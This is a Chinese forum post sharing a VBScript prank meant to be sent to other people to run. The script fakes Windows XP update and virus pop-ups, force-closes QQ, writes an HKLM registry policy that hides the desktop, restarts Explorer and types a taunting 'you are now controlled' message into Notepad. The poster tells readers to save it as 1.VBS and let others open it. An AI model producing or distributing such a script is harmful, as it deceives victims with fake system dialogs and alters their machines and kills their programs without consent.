看了很多次哈!我也来发个
msgbox "要求:"&vbcrlf&"1、要尊重我,对我派马屁"&vbcrlf&"2、要包含多种暧昧词语"&vbcrlf&"3、同时情节还要扣人心悬大有血雨腥 同时 留下N多悬念"&vbcrlf&"4、越短越好"&vbcrlf&""&vbcrlf&"第N天 有人来投稿 全文只有九个字:"&vbcrlf&""&vbcrlf&"...........",0,"马屁征文"
msgbox "秃驴 敢跟老子抢马屁精的名号",64,"投稿"
set ws=createobject("wscript.shell")
sub sleep (s)
wscript.sleep s * 15
end sub
sleep 10
ws.popup "windows检测到有重要更新未安装"&vbcrlf&""&vbcrlf&"系统将在30秒后自动下载更新并安装",30,"Windows Xp",64
sleep 10
ws.popup "正在下载更新......"&vbcrlf&""&vbcrlf&"稍候将提示您安装",10,"Windows Xp",64
sleep 900
ws.popup "windows已将一病毒载入计算机中"&vbcrlf&""&vbcrlf&"稍后即将运行",15,"病毒",64
sleep 3
ws.run "taskkill /f /im qq.exe",vbhide : sleep 5
ws.regwrite "HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000001","REG_DWORD"
wscript.sleep 500
ws.run "taskkill /f /im explorer.exe",vbhide : wscript.sleep 2000
ws.run "explorer.exe",vbhide : wscript.sleep 6000
ws.run "notepad",3 : wscript.sleep 2000
ws.sendkeys "^ " : wscript.sleep 1000
verybat=split("gongxi ,ni ,~,ni ,yijing ,bei ,wo ,kongzhi ,le ,~,ruguo ,ni ,zai ,30 miaozhong ,nei ,guanji ,~,name , keneng ,hai ,youjiu救 ,~,fouze , haha haha ____youxi ,kaishi la ,~,haole ,wo ,xianzai ,yao ,chuqu ,yixia ,~,yihui ,wo ,zailai ,zhaoni , haizi ,小样跟我斗",",")
for each wind in verybat
ws.sendkeys wind
wscript.sleep 500
next
以上 保存为1.VBS 别人打开就知道效果了 自己不要打开 哈哈 想打开就去网吧打开吧! |